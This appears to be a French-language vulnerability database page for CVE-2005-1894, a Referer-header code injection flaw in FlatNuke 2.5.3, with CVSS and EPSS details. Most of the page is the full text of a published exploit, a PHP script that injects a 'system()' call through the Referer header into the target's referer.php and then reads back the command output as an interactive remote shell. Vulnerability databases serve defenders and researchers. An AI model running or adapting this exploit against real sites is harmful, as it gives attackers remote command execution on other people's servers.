CVE-2005-1894
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Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
Direct code injection vulnerability in FlatNuke 2.5.3 allows remote attackers to execute arbitrary PHP code by placing the code into the Referer header of an HTTP request, which causes the code to be injected into referer.php, which can then be accessed by the attacker.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 25801
Date de publication : 2005-06-06 22h00 +00:00
Auteur : SecWatch
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/13882/info
Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts.
An attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible.
<?php
/*
Flatnuke 2.5.3 Arbitrary Remote Command Injection Shell PoC
Description: A simple PHP PoC script yielding a virtual remote shell
Advisory: http://secwatch.org/advisories/secwatch/20050604_flatnuke.txt
Original: http://secwatch.org/exploits/2005/06/flatnuke_shell.php.info
Fixed version: FlatNuke 2.5.3
Author: SW [at] secwatch [dot] co [dot] uk
References:
http://flatnuke.sourceforge.net/index.php?mod=read&id=1117979256
*/
/* start session */
session_start();
/* initialise session variables. */
if (empty($_SESSION['output']) || !empty($_POST['reset'])) {
$_SESSION['history'] = array();
$_SESSION['output'] = '';
$_SESSION['cmdcnt'] = 0;
$_SESSION['cwd'] = '/';
for($len=8,$r=''; strlen($r)<$len; $r.=chr(!mt_rand(0,2)? mt_rand(48,57):(!mt_rand(0,1)?mt_rand(65,90):mt_rand (97,122))));
$_SESSION['rand'] = $r; // rand string for this session only
}
if (!empty($_POST['CMD'])) {
if (get_magic_quotes_gpc()) {
$_POST['CMD'] = stripslashes($_POST['CMD']);
}
/* save current command in */
if (($i = array_search($_POST['CMD'], $_SESSION['history'])) !== false)
unset($_SESSION['history'][$i]);
array_unshift($_SESSION['history'], $_POST['CMD']);
$_SESSION['output'] .= '$ ' . $_POST['CMD'] . "\n";
}
/* initialise current directory. */
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_POST['CMD'])) {
$_SESSION['cwd'] = dirname(__FILE__);
} else if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_POST['CMD'], $regs)) {
if ($regs[1][0] == '/') {
$new_dir = $regs[1]; /* absolute path */
} else {
$new_dir = $_SESSION['cwd'] . '/' . $regs[1];/* relative path */
}
while (strpos($new_dir, '/./') !== false) $new_dir = str_replace('/./', '/', $new_dir); /* transform '/./' into '/' */
while (strpos($new_dir, '//') !== false) $new_dir = str_replace('//', '/', $new_dir); /* transform '//' into '/' */
while (preg_match('|/\.\.(?!\.)|', $new_dir)) $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); /* transform 'x/..' into '' */
$_SESSION['cwd'] = ($new_dir == '') ? "/" : $new_dir;
}
/* build the command history */
if (empty($_SESSION['history'])) {
$js_command_hist = '""';
} else {
$escaped = array_map('addslashes', $_SESSION['history']);
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';
}
?>
<html>
<head>
<title>FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC</title>
<script type="text/javascript" language="JavaScript">
var current_line = 0;
var command_hist = new Array(<?php echo $js_command_hist ?>);
var last = 0;
function key(e) {
if (!e) var e = window.event;
if (e.keyCode == 38 && current_line < command_hist.length-1) {
command_hist[current_line] = document.shell.CMD.value;
current_line++;
document.shell.CMD.value = command_hist[current_line];
}
if (e.keyCode == 40 && current_line > 0) {
command_hist[current_line] = document.shell.CMD.value;
current_line--;
document.shell.CMD.value = command_hist[current_line];
}
}
function init() {
document.shell.setAttribute("autocomplete", "off");
document.shell.output.scrollTop = document.shell.output.scrollHeight;
document.shell.CMD.focus();
}
</script>
<style>
textarea {
border: none;
width: 100%;
padding: 2px 2px 0px;
}
div {
border: inset 2px white;
}
p.prompt {
font-family: monospace;
margin: 0px;
padding: 0px 2px 2px;
}
input.prompt {
border: none;
font-family: monospace;
}
</style>
</head>
<body onload="init()">
<p align="center"><center><h2>FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC</h2></center></p><br />
<form name="shell" method="POST" action="<? echo $_SERVER['PHP_SELF'] ?>">
<table>
<tr>
<td>Host+Path:</td>
<td><input type="text" name="URL" size="35" value="<? echo $_POST['URL'] ?>" /> (e.g http://site.com/path/to/flatnuke/ - note only path to flatnuke root directory)<br /></td>
<tr>
<tr>
<td>Directory:</td>
<td><?php echo $_SESSION['cwd']; ?></td>
<tr>
</table>
<div>
<?php
/* tidy up request / set some defaults if not provided */
$urlbits = parse_url($_POST['URL']);
$host = ($urlbits['host'] != "") ? $urlbits['host'] : "";
$port = ($urlbits['port'] != "") ? $urlbits['port'] : 80;
$path = ($urlbits['path'] != "") ? $urlbits['path'] : "/flatnuke/";
$quer = ($urlbits['query'] != "") ? "?".$urlbits['query'] : "";
$cmd = ($_POST['CMD'] != "") ? addslashes("cd {$_SESSION['cwd']} && ".$_POST['CMD']) : "";
$reflog = $path."misc/flatstat/referer.php";
$int = $_SESSION['cmdcnt']++;
$referer = "http://noneexistantsite.com/?s{$_SESSION['rand']}$int=<?php system(\"$cmd\")?>&e{$_SESSION['rand']}$int";
/* ensure all required vars are present */
if (isset($_POST['URL']) && $host != "" && $cmd != "") {
/* connect to target */
if (!$fp = fsockopen($host, $port, $errno, $errstr)) {
echo "Cound not connect to <i>$host</i> ($errstr - $errno)<br/>\n";
} else {
/* make HTTP request */
fputs($fp, "GET $path.$quer HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Referer: $referer\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fclose($fp);
usleep(150000);
/* retrieve command output */
if ($result = file_get_contents("http://$host:$port$reflog")) {
/* strip other irrelevant referer information */
$trim = str_replace("http://noneexistantsite.com/?s{$_SESSION['rand']}$int=", "", stristr($result, "http://noneexistantsite.com/?s{$_SESSION['rand']}$int="));
$trim = str_replace(stristr($trim, "&e{$_SESSION['rand']}$int"), "", $trim);
/* display trimmed command output */
$_SESSION['output'] .= htmlspecialchars($trim);
}
}
}
?>
<textarea name="output" readonly="readonly" cols="90" rows="30">
<?php
$lines = substr_count($_SESSION['output'], "\n");
$padding = str_repeat("\n", max(0, 36 - $lines));
echo rtrim($padding . $_SESSION['output']);
?>
</textarea>
<p class="prompt">
$ <input class="prompt" type="text" name="CMD" size="78" onkeyup="key(event)" tabindex="1" />
</p>
</div><br /><br />
<input type="submit" value="Execute" /> <input type="submit" name="reset" value="Reset" />
</form>
</body>
</html>
Products Mentioned
Configuraton 0
Flatnuke>>Flatnuke >> Version 2.5.3
- Flatnuke>>Flatnuke >> Version 2.5.3 (Open CPE detail)
Références
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC)
sont maintenues par MITRE Corporation, et les informations sur les configurations
logicielles et matérielles (CPE) proviennent du NVD.